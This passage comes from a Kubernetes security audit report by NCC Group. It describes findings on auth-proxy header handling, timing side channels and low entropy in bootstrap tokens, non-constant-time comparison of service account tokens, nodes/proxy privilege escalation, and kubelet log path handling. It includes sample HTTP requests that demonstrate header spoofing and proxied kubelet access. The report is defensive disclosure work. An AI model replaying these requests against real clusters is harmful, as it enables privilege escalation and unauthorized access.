req.Header.Set("X-Remote-User", username)

for _, group := range groups {

req.Header.Add("X-Remote-Group", group)

}

for key, values := range extra {

for _, value := range values {

req.Header.Add("X-Remote-Extra-"+headerKeyEscape(key), value)

}

}

}

GET /apis/echo-server.k8s.io/v1beta1 HTTP/1.1

Host: 192.168.136.27:6443

Authorization: Bearer b523cd80-2bde-45ac-a6b7-ef9b143f8e90

X-Group-Remote: system:masters

X-Remote-Group: this-gets-stripped

HTTP/1.1 200 OK

Audit-Id: b35eb75e-d3c6-446a-97d9-7f8010f9f8e6

Cache-Control: no-cache, private

Content-Length: 836

Content-Type: application/json; charset=utf-8
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Recommendation

Modify the SetAuthProxyHeaders  method so that it also strips headers with the names

configurable using the --requestheader-username-headers , --requestheader-group-

headers  and --requestheader-extra-headers-prefix  options.

Location

Function SetAuthProxyHeaders()  in file round_trippers.go:L124

Date: Wed, 01 Jun 2022 10:47:35 GMT

Etag: W/"344-wS6uiAQ8sXM2QjBk34chVaNMn0g"

X-Kubernetes-Pf-Flowschema-Uid: a46e24f7-ec96-415a-bbf8-e8ff7a68840e

X-Kubernetes-Pf-Prioritylevel-Uid: c608a0cb-6932-4044-92ec-4fb9e462146e

X-Powered-By: Express

{

"path": "/apis/echo-server.k8s.io/v1beta1",

"headers": {

"host": "10.110.45.92:443",

"audit-id": "b35eb75e-d3c6-446a-97d9-7f8010f9f8e6",

"x-forwarded-for": "192.168.136.1",

"x-forwarded-host": "10.110.45.92:443",

"x-forwarded-proto": "https",

"x-forwarded-uri": "/apis/echo-server.k8s.io/v1beta1",

"x-group-remote": "system:masters",

"x-remote-group": "system:authenticated",

"x-remote-user": "read-only-user",

"accept-encoding": "gzip"

},

"method": "GET",

"body": "",

"fresh": false,

"hostname": "10.110.45.92",

"ip": "192.168.136.1",

"ips": [

"192.168.136.1"

],

"protocol": "https",

"query": {},

"subdomains": [],

"xhr": false,

"os": {

"hostname": "echo-server-f4b8cdb66-4z7cq"

},

"connection": {

"servername": "echo-server.kube-system.svc"

}

}
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Timing Side Channel in Bootstrap Tokens

Generation and Handling

Overall Risk Informational

Impact High

Exploitability Undetermined

Finding ID NCC-E003660-TTV

Component kube-apiserver

Category Cryptography

Status Reported

Impact

Attackers may determine Booststrap Token values based on timing-based side channels.

This may in turn allow them to establish further attacks against a Kubernetes cluster,

including joining nodes to an existing cluster. Feasibility of this attack is contingent on a

number of factors including but not limited to the underlying hardware platform running the

Kubernetes system, and the deployment landscape.

Description

Kubernetes Bootstrap Tokens are bearer token credentials employed to authenticate

requests against the API server, when creating new clusters or joining new nodes to an

existing cluster. NCC Group identified a number of functions that handle the Bootstrap

Token, and whose implementations are not constant-time.

The function randBytes() , in package util , generates Bootstrap Token secret values; it

does so by sampling alphanumeric characters from a table, based on a random secret

index. The access time of a table element, and resulting cache memory contents, may vary

with the access index, which may assist attackers with inferring partial or full information

about a token value. The issue is illustrated below:

Info 

// randBytes returns a random string consisting of the characters in

// validBootstrapTokenChars, with the length customized by the parameter

func randBytes(length int) (string, error) {

// len("0123456789abcdefghijklmnopqrstuvwxyz") = 36 which doesn't evenly divide

// the possible values of a byte: 256 mod 36 = 4. Discard any random bytes we

// read that are >= 252 so the bytes we evenly divide the character set.

const maxByteValue = 252

var (

b     byte

err   error

token = make([]byte, length)

)

reader := bufio.NewReaderSize(rand.Reader, length*2)

for i := range token {

for {

if b, err = reader.ReadByte(); err != nil {

return "", err

}

if b < maxByteValue {

break

}

}
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Furthermore, note that the modulo operation in the code highlighted above is not

guaranteed to be constant-time. A simple machine code implementation of modulo may

use a division operator, such as the Intel architecture’s DIV  instruction, which does not

execute in constant-time and is slow. Compilers on common platforms, when the code

output is not optimized for space, will typically replace the modulo/division operation, using

a known-at-compile-time divisor, with a usually constant-time multiplication operation

followed by a shift operation, which is faster. NCC Group validated that the modulo

operation, at least using Go compiler version 1.18 on the macOS Intel platform, was

constant-time, but this may not be the case in other deployment scenarios.

The function IsValidBootstrapToken()  attempts to determine whether a Bootstrap Token

value is valid, based on a regular expression, as illustrated below:

The actual regular expression to match a token is as follows:

The regular expression is compiled to a state machine that detects whether each token

character is within a number range, and if not, within a letter range. The compiled regular

expression iterates over an array representing these ranges ( [48, 57, 97, 122] ), and

returns immediately when a given character matches the range. This process is not

constant-time and may leak whether each character of the token is a number or a letter,

thus reducing the search space for an attacker to guess a token secret value. The side

channel happens in function MatchRunePos()  of the regular expression package in Go’s

standard library ( libexec/src/regexp/syntax/prog.go ):

token[i] = validBootstrapTokenChars[int(b)%len(validBootstrapTokenChars)]

}

return string(token), nil

}

// IsValidBootstrapToken returns whether the given string is valid as a Bootstrap Token and

// in other words satisfies the BootstrapTokenRegexp

func IsValidBootstrapToken(token string) bool {

return BootstrapTokenRegexp.MatchString(token)

}

// BootstrapTokenPattern defines the {id}.{secret} regular expression pattern

BootstrapTokenPattern = `\A([a-z0-9]{6})\.([a-z0-9]{16})\z`

// MatchRunePos checks whether the instruction matches (and consumes) r.

// If so, MatchRunePos returns the index of the matching rune pair

// (or, when len(i.Rune) == 1, rune singleton).

// If not, MatchRunePos returns -1.

// MatchRunePos should only be called when i.Op == InstRune.

func (i *Inst) MatchRunePos(r rune) int {

rune := i.Rune

switch len(rune) {

case 0:

return noMatch

// SNIP

case 4, 6, 8:

// Linear search for a few pairs.

// Should handle ASCII well.

for j := 0; j < len(rune); j += 2 {
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It is possible (but was not validated during the time allocated to the project) that other side

channels are present in the processing of tokens in Go’s regular expression library. In

general, one should be careful about handling secrets with regular expressions, because

they are not implemented with side channels in mind.

Recommendation

When generating a secret token value, ensure that the selection process from the

alphanumeric table is done in constant-time. The problem is akin to base64 encoding and

decoding in constant-time, as implemented by the BearSSL TLS library22.

Given a byte x  in the 0..35 range, which we want to map to a digit range (ASCII values 48

to 57) and lower case character range (ASCII values 97 to 122), the constant-time selection

process can be achieved as follows: x + 48 + (39 & ((9 - x) >> 8)) .

In order to increase the level of assurance that the modulo operation is performed in

constant-time on various platforms, and despite changes to compilers, consider modeling

the modulo operation as an explicit multiply and shift operation. The 1991 Granlund-

Montgomery paper explains this technique23.

Avoid performing regular expression operations on secret data. Consider performing

constant-time comparison of values instead.

Location

Function randBytes()  in file helpers.go:L84

Function IsValidBootstrapToken()  in file helpers.go:L97

• 

• 

if r < rune[j] {

return noMatch

}

if r <= rune[j+1] {

return j / 2

}

}

return noMatch

}

// SNIP

}

22. https://bearssl.org/gitweb/?p=BearSSL;a=blob;f=src/codec/pemenc.c;h=236601e60d45a24e078

df4468993a94c6f829141;hb=d40d23b60cf1a42188a441b59226db35da234fea#l31

23. https://gmplib.org/~tege/divcnst-pldi94.pdf
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Non Constant-Time Comparison of Service

Account Token Secrets

Overall Risk Informational

Impact High

Exploitability None

Finding ID NCC-E003660-PCK

Component kube-apiserver

Category Cryptography

Status Reported

Impact

An attacker may be able to guess a service account token secret, and impersonate the

affected account to read, modify, or delete application data to which the account has

access in a Kubernetes cluster.

Description

Service account token secrets ( kubernetes.io/service-account-token ) are a type of

secret used to authenticate service accounts. The “Service account token Secrets” section

of the Kubernetes “Configuration” documentation24 does not recommend their usage:

Since 1.22, this type of Secret is no longer used to mount credentials into Pods,

and obtaining tokens via the TokenRequest API is recommended instead of using

service account token Secret objects. Tokens obtained from the TokenRequest API

are more secure than ones stored in Secret objects, because they have a bounded

lifetime and are not readable by other API clients. You can use the kubectl create

token command  to obtain a token from the TokenRequest API.

You should only create a service account token Secret object if you can’t use the

TokenRequest API to obtain a token, and the security exposure of persisting a

non-expiring token credential in a readable API object is acceptable to you.

Nevertheless, their usage appears to be possible, and may be employed by Kubernetes

users. The process of creating a service account token is documented in the “Configure

Service Accounts for Pods” documentation section25.

An incoming service account request is authenticated by first verifying the JWT signature

of the token, then by comparing the secret token value embedded in the request, against

the server’s record of the value. If the values don’t match, the authentication request is

rejected. The comparison is performed in a non constant-time way; that is, it will return as

soon as it reaches mismatched bytes between the two values. This leaks information about

the token, which may assist attackers in successfully guessing the secret value. The issue

is present in function Validate()  of file Legacy.go :

Info 

func (v *legacyValidator) Validate(ctx context.Context, tokenData string, public *jwt.Claims, 

privateObj interface{}) (*apiserverserviceaccount.ServiceAccountInfo, error) {

// SNIP

if v.lookup {

// Make sure token hasn't been invalidated by deletion of the secret

24. https://kubernetes.io/docs/concepts/configuration/_print/#service-account-token-secrets

25. https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#manually-

create-a-service-account-api-token
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Mounting a successful attack using this finding is likely not feasible, with NCC Group’s

current understanding of the system and its present implementation. It would require an

endpoint that does not perform JWT signature verification, and/or the ability to replay old

invalid account service tokens, to force the authenticator component to perform a

comparison with its current valid token record, and for the attacker to infer some

information about the current token in the process. Nevertheless, it would be judicious to

ensure that all secrets are handled without side channels, in case of future API changes.

Recommendation

Compare the token secret values in constant-time. This can be achieved by using Go’s 

ConstantTimeCompare() 26 function of the subtle  package.

Location

Function Validate()  in file Legacy.go:L110

secret, err := v.getter.GetSecret(namespace, secretName)

if err != nil {

klog.V(4).Infof("Could not retrieve token %s/%s for service account %s/%s: %v", 

namespace, secretName, namespace, serviceAccountName, err)

return nil, errors.New("Token has been invalidated")

}

if secret.DeletionTimestamp != nil {

klog.V(4).Infof("Token is deleted and awaiting removal: %s/%s for service account %s/

%s", namespace, secretName, namespace, serviceAccountName)

return nil, errors.New("Token has been invalidated")

}

if [!bytes.Equal(secret.Data[v1.ServiceAccountTokenKey], []byte(tokenData)) {

klog.V(4).Infof("Token contents no longer matches %s/%s for service account %s/%s", 

namespace, secretName, namespace, serviceAccountName)

return nil, errors.New("Token does not match server's copy")

}

// SNIP

}

return &apiserverserviceaccount.ServiceAccountInfo{

Namespace: private.Namespace,

Name:      private.ServiceAccountName,

UID:       private.ServiceAccountUID,

}, nil

}

26. https://pkg.go.dev/crypto/subtle#ConstantTimeCompare
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Low Entropy Bootstrap Tokens

Overall Risk Informational

Impact High

Exploitability None

Finding ID NCC-E003660-WHE

Component kube-apiserver

Category Cryptography

Status Reported

Impact

The level of entropy in bootstrap token secrets does not meet security best practice. If an

attacker is able to acquire a bootstrap token, they could obtain cluster admin privileges by

joining their own node to the cluster as a master node.

Description

The bootstrap token secrets used by the Kubernetes API server consist of 16 base-36

characters, which provides approximately 83 bits27 of entropy. It is conventional to use at

least 128 bits of entropy for static secrets or symmetric keys, and indeed the naming of the

BootstrapTokenSecretBytes  variable in the source code (which takes the value 16)

suggests that this was perhaps the intention here. Note that it is possible to perform an

offline brute-force attack to recover bootstrap token secrets (based on the signature of the

cluster-info  configmap), and while this is not realistically exploitable with current

technology, the length of the token secrets should be increased in line with security best

practice.

Token secrets are generated using the code shown below.

Info 
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// validBootstrapTokenChars defines the characters a bootstrap token can consist of

const validBootstrapTokenChars = "0123456789abcdefghijklmnopqrstuvwxyz"

...

// GenerateBootstrapToken generates a new, random Bootstrap Token.

func GenerateBootstrapToken() (string, error) {

tokenID, err := randBytes(api.BootstrapTokenIDBytes)

if err != nil {

return "", err

}

tokenSecret, err := randBytes(api.BootstrapTokenSecretBytes)

if err != nil {

return "", err

}

return TokenFromIDAndSecret(tokenID, tokenSecret), nil

}

// randBytes returns a random string consisting of the characters in

// validBootstrapTokenChars, with the length customized by the parameter

func randBytes(length int) (string, error) {

// len("0123456789abcdefghijklmnopqrstuvwxyz") = 36 which doesn't evenly divide

// the possible values of a byte: 256 mod 36 = 4. Discard any random bytes we

// read that are >= 252 so the bytes we evenly divide the character set.

const maxByteValue = 252

27. 16log
2
(36)
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Figure 9: https://github.com/kubernetes/kubernetes/blob/v1.24.0/staging/src/k8s.io/cluster-

bootstrap/token/util/helpers.go#L32-L88

The cluster-info  configmap in the kube-public  namespace includes a signature (in the 

jws-kubeconfig-xxxxx  field), which is calculated using a bootstrap token secret, and

would allow a brute force attack to be performed to attempt to discover the secret.

Recommendation

Increase the length of bootstrap token secrets so that they include at least 128 bits of

entropy.

Location

Function GenerateBootstrapToken()  in file helpers.go:L45
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var (

b     byte

err   error

token = make([]byte, length)

)

reader := bufio.NewReaderSize(rand.Reader, length*2)

for i := range token {

for {

if b, err = reader.ReadByte(); err != nil {

return "", err

}

if b < maxByteValue {

break

}

}

token[i] = validBootstrapTokenChars[int(b)%len(validBootstrapTokenChars)]

}

return string(token), nil

}
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7 Finding Details – kubelet

Privilege Escalation via nodes/proxy

Permission

Overall Risk Medium

Impact High

Exploitability Low

Finding ID NCC-E003660-WV3

Component kubelet

Category Access Controls

Status Reported

Impact

A user with permissions on the nodes/proxy  subresource in a cluster has full permissions

against the kubelet API on any node by proxying requests through the API server, and can

execute commands in any pod. This may represent privileges beyond those expected by

the cluster administrator, and this situation is not explained in the Kubernetes

documentation.

Description

The Kubernetes API server proxy is a feature which allows users to proxy requests through

the API server to workloads or nodes. When a proxy request is made to the kubelet service

on a node, the API server’s own client certificate (which in a typical cluster is a user in the 

system:masters  group) is used to authenticate the request - this is described in detail in 

finding "Redirection of API Server Traffic to Kubelet". This effectively allows a user with get

permissions against the nodes/proxy  subresource to make GET requests to the kubelet

API as system:masters  (and equivalent for create, patch, etc.). It is not clear from the

Kubernetes documentation that giving a user permission to make proxied requests to

nodes is effectively permitting them to run arbitrary commands against any pod (as can be

achieved using the Kubelet API’s /exec  endpoint).

This finding was recently discussed in a blog post from Aqua Security28.

To illustrate this issue, note the HTTP request and response below, which are made with a

bearer token corresponding to a user with (only) permissions on the nodes/proxy

subresource. It is not possible to directly invoke the /logs  endpoint on the kubelet

service, because the user does not have nodes/log  permissions.

Medium 

GET /logs/ HTTP/1.1

Host: 192.168.136.28:10250

Authorization: Bearer 88888

HTTP/1.1 403 Forbidden

Date: Wed, 13 Jul 2022 15:43:10 GMT

Content-Length: 76

Content-Type: text/plain; charset=utf-8

Forbidden (user=rtt-node-proxier, verb=get, resource=nodes, subresource=log)

28. Privilege Escalation from Node/Proxy Rights in Kubernetes RBAC: https://blog.aquasec.com/

privilege-escalation-kubernetes-rbac
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However, proxying the same request through the API server is successful (because the API

server presents its own client certificate to the remote kubelet):

Recommendation

Ensure that the Kubernetes documentation makes it clear that permissions on the nodes/

proxy  subresource are powerful, overriding other permissions against nodes (as shown

above) and permitting commands to be run in pods.

Location

kubelet

GET /api/v1/nodes/https:rtt-k8s-node:10250/proxy/logs/ HTTP/1.1

Host: 192.168.136.27:6443

Authorization: Bearer 88888

HTTP/1.1 200 OK

Audit-Id: de731b3c-af7a-45e0-8220-b4d9d6a6b950

Cache-Control: no-cache, private

Content-Type: text/html; charset=utf-8

Date: Wed, 13 Jul 2022 15:48:59 GMT

Last-Modified: Wed, 13 Jul 2022 14:32:11 GMT

Content-Length: 3047

<pre>

<a href="alternatives.log">alternatives.log</a>

<a href="alternatives.log.1">alternatives.log.1</a>

<snip>
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Dangerous File Path Construction

Overall Risk Informational

Impact Medium

Exploitability None

Finding ID NCC-E003660-B4Y

Component kubelet

Category Data Validation

Status Reported

Impact

If this were exploitable it would allow for retrieval of arbitrary local files by privileged users

of the API service, but as things stand the risk is mitigated.

Description

The /logs  kubelet API handler uses a dangerous coding pattern to construct a local file

path before returning the contents of the file to the user. This API method uses path.Join

to append a user-provided string, representing the name of a log file, to the literal "/var/

log"  before returning the file’s contents in the HTTP response using http.ServeFile . No

first-party validation is performed to ensure that the provided filename is free from

dangerous path traversal sequences ( .. ). Incidentally, this issue is not exploitable

because Golang’s http.Server  explicitly sanitizes its input to remove such path traversal

sequences, but if it weren’t for this platform-provided security measure the API method

would allow for retrieval of arbitrary local files.

pkg/routes/logs.go:44

As the handler is not exploitable and the mitigating control is part of the Golang platform

(and hence extremely unlikely to be weakened with future releases) this issue is raised as

informational. Nonetheless, this coding practice should be discouraged.

Recommendation

No action is necessary, but it is important that the handler function is never updated to

manually canonicalize the file path after its construction (but before passing it to 

http.ServeFile ) - an operation that would typically be harmless or even considered

rigorous.

The practice of including request parameters directly into local file paths using 

string.Join  without validation or sanitization is not safe and should be disallowed, with

supporting static analysis rules put in place to support this.

Location

pkg/routes/logs.go:44

Info 

func logFileHandler(req *restful.Request, resp *restful.Response) {

logdir := "/var/log"

actual := path.Join(logdir, req.PathParameter("logpath"))

// check filename length first, return 404 if it's oversize.

if logFileNameIsTooLong(actual) {

http.Error(resp, "file not found", http.StatusNotFound)

return

}

http.ServeFile(resp.ResponseWriter, req.Request, actual)

}

51 / 54 – Finding Details – kubelet

 



8 Finding Field Definitions

The following sections describe the risk rating and category assigned to issues NCC Group

identified.

Risk Scale

NCC Group uses a composite risk score that takes into account the severity of the risk,

application’s exposure and user population, technical difficulty of exploitation, and other

factors. The risk rating is NCC Group’s recommended prioritization for addressing findings.

Every organization has a different risk sensitivity, so to some extent these

recommendations are more relative than absolute guidelines.

Overall Risk

Overall risk reflects NCC Group’s estimation of the risk that a finding poses to the target

system or systems. It takes into account the impact of the finding, the difficulty of

exploitation, and any other relevant factors.

Rating Description

Critical Implies an immediate, easily accessible threat of total compromise.

High Implies an immediate threat of system compromise, or an easily

accessible threat of large-scale breach.

Medium A difficult to exploit threat of large-scale breach, or easy compromise of

a small portion of the application.

Low Implies a relatively minor threat to the application.

Informational No immediate threat to the application. May provide suggestions for

application improvement, functional issues with the application, or

conditions that could later lead to an exploitable finding.

Impact

Impact reflects the effects that successful exploitation has upon the target system or

systems. It takes into account potential losses of confidentiality, integrity and availability,

as well as potential reputational losses.

Rating Description

High Attackers can read or modify all data in a system, execute arbitrary code on

the system, or escalate their privileges to superuser level.

Medium Attackers can read or modify some unauthorized data on a system, deny

access to that system, or gain significant internal technical information.

Low Attackers can gain small amounts of unauthorized information or slightly

degrade system performance. May have a negative public perception of

security.

Exploitability

Exploitability reflects the ease with which attackers may exploit a finding. It takes into

account the level of access required, availability of exploitation information, requirements

relating to social engineering, race conditions, brute forcing, etc, and other impediments to

exploitation.

Rating Description

High Attackers can unilaterally exploit the finding without special permissions or

significant roadblocks.

Medium
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Rating Description

Attackers would need to leverage a third party, gain non-public information,

exploit a race condition, already have privileged access, or otherwise

overcome moderate hurdles in order to exploit the finding.

Low Exploitation requires implausible social engineering, a difficult race condition,

guessing difficult-to-guess data, or is otherwise unlikely.

Category

NCC Group categorizes findings based on the security area to which those findings belong.

This can help organizations identify gaps in secure development, deployment, patching,

etc.

Category Name Description

Access Controls Related to authorization of users, and assessment of rights.

Auditing and Logging Related to auditing of actions, or logging of problems.

Authentication Related to the identification of users.

Configuration Related to security configurations of servers, devices, or

software.

Cryptography Related to mathematical protections for data.

Data Exposure Related to unintended exposure of sensitive information.

Data Validation Related to improper reliance on the structure or values of data.

Denial of Service Related to causing system failure.

Error Reporting Related to the reporting of error conditions in a secure fashion.

Patching Related to keeping software up to date.

Session Management Related to the identification of authenticated users.

Timing Related to race conditions, locking, or order of operations.
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9 Contact Info

The team from NCC Group has the following primary members:

Iain Smart – Consultant 

iain.smart@nccgroup.com 

Richard Turnbull – Consultant 

richard.turnbull@nccgroup.com 

Gerald Doussot – Consultant 

gerald.doussot@nccgroup.com 

Divya Natesan – Consultant 

divya.natesan@nccgroup.com 

Jeff Dileo – Consultant 

jeff.dileo@nccgroup.com 

Greg Jenkins – Consultant 

greg.jenkins@nccgroup.com 

Michael Roberts – Consultant 

michael.roberts@nccgroup.com 

Chris Anley – Consultant 

chris.anley@nccgroup.com 

Eli Sohl – Consultant 

eli.sohl@nccgroup.com 

Lois Herr – Project Manager 

lois.herr@nccgroup.com 

Jennifer Fernick – Executive Sponsor 

jennifer.fernick@nccgroup.com 

The team from Cloud Native Computing Foundation has the following primary member:

Kubernetes SIG Security 

https://github.com/kubernetes/community/tree/master/sig-security 

• 

• 

• 

• 

• 

• 

• 

• 

• 

• 

• 

• 
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